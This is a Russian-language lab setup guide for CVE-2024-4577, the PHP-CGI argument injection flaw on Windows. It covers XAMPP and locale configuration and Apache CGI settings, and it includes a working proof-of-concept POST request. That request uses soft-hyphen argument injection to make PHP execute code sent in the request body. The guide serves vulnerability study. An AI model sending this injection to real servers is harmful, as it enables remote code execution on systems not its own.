
Создать лабораторию для CVE-2024-4577
| CVE | Описание | CVSSv3 |
| CVE-2024-4577 | Уязвимость внедрения аргументов PHP-CGI | 9.8 |
«CVE-2024-4577 — это критическая уязвимость внедрения аргументов в PHP, которая может быть использована для удаленного выполнения кода (RCE). По мнению исследователей из DEVCORE, эта ошибка является результатом проблем в преобразованиях кодировок символов, затрагивающих функцию «Best Fit» в Windows.»
-Tenable
Загрузите XAMPP (8.1.25 / PHP 8.1.25)
После установки XAMPP проверьте версию PHP. Она должна быть 8.1.25. Версию PHP можно проверить, выполнив команду php -v из командной строки. Если возникает ошибка, необходимо добавить PHP в переменную PATH.
Необходимо изменить локаль. Для этого перейдите в Панель управления > Часы и регион > Регион. Установите формат на японский, традиционный китайский или упрощенный китайский. Нажмите «Администрирование» > «Изменить системную локаль» и выберите соответствующую локаль.
Если PHP не работает в режиме CGI, выполните следующие настройки.
ScriptAlias /php-cgi/ "C:/xampp/php/"
AddHandler application/x-httpd-php .php
Action application/x-httpd-php "/php-cgi/php-cgi.exe"
AddType application/x-httpd-php .php
<Directory "C:/xampp/php">
Options +ExecCGI
AllowOverride None
Require all granted
</Directory>
LoadModule php_module "C:/xampp/php/php8apache2_4.dll". Поставьте '#' в начало строки.Сохраните изменения и запустите экземпляр Apache.
Если в ответе отобразится результат выполнения PHP-кода, отправленного в теле приведенного ниже POST-запроса, значит эксплуатация прошла успешно.
POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{HOST}}
User-Agent: curl/8.3.0
Accept: /
Content-Length: 30
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
echo "vulnerable";
?>
Эта лабораторная среда предназначена исключительно для образовательных целей и не должна использоваться в рабочих средах. Я не несу ответственности за любой ущерб или убытки, которые могут возникнуть в результате неправильного использования. Пользователи должны использовать эту среду на свой страх и риск.